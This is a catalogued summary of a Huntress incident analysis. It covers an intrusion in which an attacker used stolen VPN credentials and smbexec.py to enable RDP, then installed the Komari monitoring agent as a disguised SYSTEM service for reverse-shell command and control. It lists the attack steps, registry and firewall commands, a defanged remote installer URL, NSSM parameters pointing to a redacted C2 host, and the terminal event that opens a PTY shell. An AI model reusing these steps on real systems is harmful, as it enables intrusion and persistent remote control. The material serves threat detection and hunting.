# Komari Red: The Monitoring Tool with a Built-in Reverse Shell

Attacker with stolen VPN creds used smbexec.py to enable RDP, then installed Komari agent as a SYSTEM service, gaining persistent WebSocket C2 with exec, PTY shell, and ping.

- Payout: Real-world hack
- Severity: high
- Program: Komari
- Analysis by: Huntress
- Disclosed: 2026-04-30
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/komari-c2-agent-abuse
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-komari-c2-agent-abuse
- Tags: area:devices domain:infra domain:network impact:internal-access impact:privesc impact:rce kind:incident platform:threat-intel sev:high tech:windows technique:legacy-endpoint vuln:misconfiguration vuln:privilege-escalation vuln:rce

**Target:** Windows workstation; Komari monitoring agent installed as NSSM service
**Root cause:** Komari agent ships with exec, terminal (PTY reverse shell), and ping events enabled by default over a persistent outbound WebSocket authenticated by a bearer token in the URL query string; the legitimate installer registers it as a SYSTEM service via NSSM.
**Steps:**
1. Obtain valid SSLVPN credentials for [User 1]; authenticate from 45.153.34[.]132, receiving tunnel IP 10.212.134[.]200.
2. Use customized Impacket smbexec.py over SMB to run `reg add` flipping HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections to 0, `netsh advfirewall` rule 'Allow RDP' for TCP/3389, and `net stop termservice /y` / `net start termservice`.
3. RDP to the workstation as [User 1] from 10.212.134[.]200.
4. At the prompt, run the Komari install script pulled from `hxxps://raw.githubusercontent[.]com/komari-monitor/komari-agent/refs/heads/main/install.ps1`.
5. Installer invokes NSSM to register `C:\Windows\System32\komari-agent.exe` as auto-start service 'Windows Update Service' with AppParameters `-e http://<C2>:55964 -t vomtLDXyggveYfjFxdoo7Z`.
6. Agent opens persistent WebSocket to `ws(s)://<server>/api/clients/report?token=<token>` and accepts exec/terminal/ping events from the operator dashboard.
**How found:** Huntress SOC correlated EDR detections: cmd.exe spawned as a service, smbexec.py-style randomized service/batch names, Defender RegDump.SA quarantine, and a PowerShell one-liner pulling an installer from raw.githubusercontent.com/komari-monitor/komari-agent, then traced the process tree to NSSM and the Komari agent.
**Exploitation:** Stolen SSLVPN credentials gave tunnel access; smbexec.py enabled RDP and the operator logged in interactively, ran the official Komari installer, and NSSM registered the agent as a SYSTEM service named 'Windows Update Service'. The agent held a TLS-fronted WebSocket to the operator's server, giving arbitrary command execution, an interactive PTY shell as SYSTEM, and distributed network probing, all blending with normal HTTPS.
**Escalation:** Agent runs as LocalSystem via NSSM, so terminal events yield a SYSTEM shell; ping events turn each infected host into a distributed scanner sourced from victim networks, scaling to a lightweight botnet across many victims.
**Insight:** Legitimate monitoring agents that hold long-lived outbound WebSockets and accept server-pushed exec/terminal events are turnkey C2; hunt for any process with a persistent outbound WebSocket to an unusual host that periodically spawns shells or PowerShell, not just known malware names.

## Proof of concept (copied exactly from the original report)

**Komari agent install PowerShell one-liner**

```
PowerShell -ExecutionPolicy Bypass -File C:\Users\[User 1]\AppData\Local\Temp\102184ef-a26d-4fb6-4bff-d4e4bd5e8de0.ps1
```

**NSSM service registration with C2 AppParameters**

```
...\Windows Update Service\Parameters\Application

 C:\Windows\System32\komari-agent.exe

 ...\Windows Update Service\Parameters\AppParameters

 -e http://[Malicious C2 Redacted]:55964 -t vomtLDXyggveYfjFxdoo7Z
```

**Komari terminal reverse shell event payload**

```
{

    "message": "terminal",

    "request_id": "<session-id>"

}

When this event occurs, the agent opens a second WebSocket to /api/clients/terminal?token=<token>&id=<request_id> and establishes an interactive shell on it- a reverse shell with full PTY semantics, driven from the operator's browser.
```